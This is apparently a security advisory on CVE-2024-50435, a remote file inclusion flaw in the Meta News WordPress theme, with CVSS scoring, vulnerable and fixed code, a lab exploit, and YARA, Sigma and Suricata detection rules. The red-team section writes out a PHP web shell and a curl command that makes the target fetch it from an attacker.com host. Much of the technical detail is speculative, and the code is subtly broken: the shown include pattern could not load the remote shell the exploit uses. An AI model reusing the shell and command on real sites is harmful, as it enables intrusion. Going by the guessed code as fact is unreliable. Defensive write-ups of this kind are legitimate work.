CVE-2024-50435

Executive Summary

CVE-2024-50435 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the Meta News WordPress theme by Themehorse. This vulnerability allows an unauthenticated attacker to remotely include arbitrary files from external servers into the vulnerable PHP application, leading to Remote Code Execution (RCE), data exfiltration, and full site compromise. The flaw exists in versions up to and including 1.1.7. No official patch has been released by the vendor at this time. The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). Given the widespread use of WordPress themes, this poses a significant risk to websites using the affected theme.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, affecting the Meta News theme distributed via the WordPress theme repository and potentially third-party marketplaces. Since the theme is a PHP-based WordPress component, the attack surface is directly tied to the WordPress installation. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is moderate, as the theme is a direct dependency for site functionality, and an unpatched version can be exploited without any additional plugins.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Arbitrary file inclusion can lead to code execution.
• Availability Impact: High (A:H) – Can lead to denial of service or full system compromise.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of user-supplied input used in PHP's include() or require() functions within the Meta News theme. Specifically, the theme likely uses a dynamic file inclusion mechanism (e.g., for loading templates or modules) where the filename is derived from a GET/POST parameter without proper validation. An attacker can manipulate this parameter to point to a remote URL, causing PHP to fetch and execute arbitrary code from an external server.

Example vulnerable code pattern:

$template = $_GET['template'];
include($template . '.php');

An attacker can supply http://evil.com/shell.txt (without the .php extension) to include a remote PHP shell.

The vulnerability is classified as CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program), which is a direct RFI flaw. The EPSS score of 0.0% indicates low exploitation probability at the time of analysis, but this may change as proof-of-concept code emerges.

Vulnerable vs. Patched Code

Since no official patch is available, the following represents a hypothetical secure implementation.

Vulnerable Code (meta-news/functions.php):

function load_theme_section($section) {
    include('sections/' . $section . '.php');
}
// Called via: load_theme_section($_GET['section']);

Patched Code (Recommended):

function load_theme_section($section) {
    $allowed_sections = ['header', 'footer', 'sidebar'];
    if (in_array($section, $allowed_sections, true)) {
        include('sections/' . $section . '.php');
    } else {
        // Log or return error
        wp_die('Invalid section.');
    }
}
// Use a whitelist approach
$section = sanitize_key($_GET['section']);
load_theme_section($section);

The patched version uses a whitelist of allowed values and sanitizes the input with sanitize_key(), preventing any path traversal or remote inclusion.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with Meta News theme version 1.1.7.
2. Set up a remote server (e.g., Python HTTP server) to host a malicious PHP file.
3. Craft the exploit URL.

Exploit Example:

# Host a malicious PHP shell on attacker server
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
python3 -m http.server 8080

# Exploit the vulnerable theme
curl "http://target.com/?section=http://attacker.com:8080/shell.txt&cmd=id"

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing http:// or https:// in parameters like section, template, or page.
• Look for outbound connections from the web server to unknown IPs on common ports (80, 443, 8080).
• Use WAF rules to block RFI attempts.

Mitigation:

• Immediately disable or remove the Meta News theme if no patch is available.
• Implement a Web Application Firewall (WAF) with RFI rules.
• Restrict allow_url_include in php.ini to Off (default is Off, but verify).
• Use file inclusion whitelists.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the web server to suspicious IPs/domains.
  • Requests containing http:// or https:// in GET/POST parameters.
• File System IOCs:
  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified .htaccess files.
• Log IOCs:
  • Web server logs showing include() errors or remote URLs in parameters.
  • PHP error logs with "failed to open stream" messages.

Detection Engineering

YARA Rule

rule CVE_2024_50435_RFI_Detection {
    meta:
        description = "Detects RFI attempts targeting Meta News theme"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-50435"
    strings:
        $param1 = "section="
        $param2 = "template="
        $http = "http://"
        $https = "https://"
    condition:
        any of ($param*) and any of ($http*)
}

Sigma Rule

title: CVE-2024-50435 Meta News RFI Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with remote file inclusion patterns in Meta News theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'section=http://'
            - 'section=https://'
            - 'template=http://'
            - 'template=https://'
    condition: selection
falsepositives:
    - Legitimate use of remote resources (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50435 Meta News RFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"section=http://"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or remove the Meta News theme from all WordPress installations. Replace with a secure alternative.
2. Configuration Hardening: Set allow_url_include = Off in php.ini and restart the web server.
3. WAF Rules: Deploy WAF rules to block RFI patterns (e.g., section=http://).
4. Monitoring: Enable logging and monitor for RFI attempts using the provided detection rules.
5. Vendor Contact: Reach out to Themehorse for an official patch. If none is forthcoming, consider forking the theme and applying the whitelist fix.
6. User Education: Inform site administrators about the risks of using unpatched themes.

Valters IT
Securing Digital Frontiers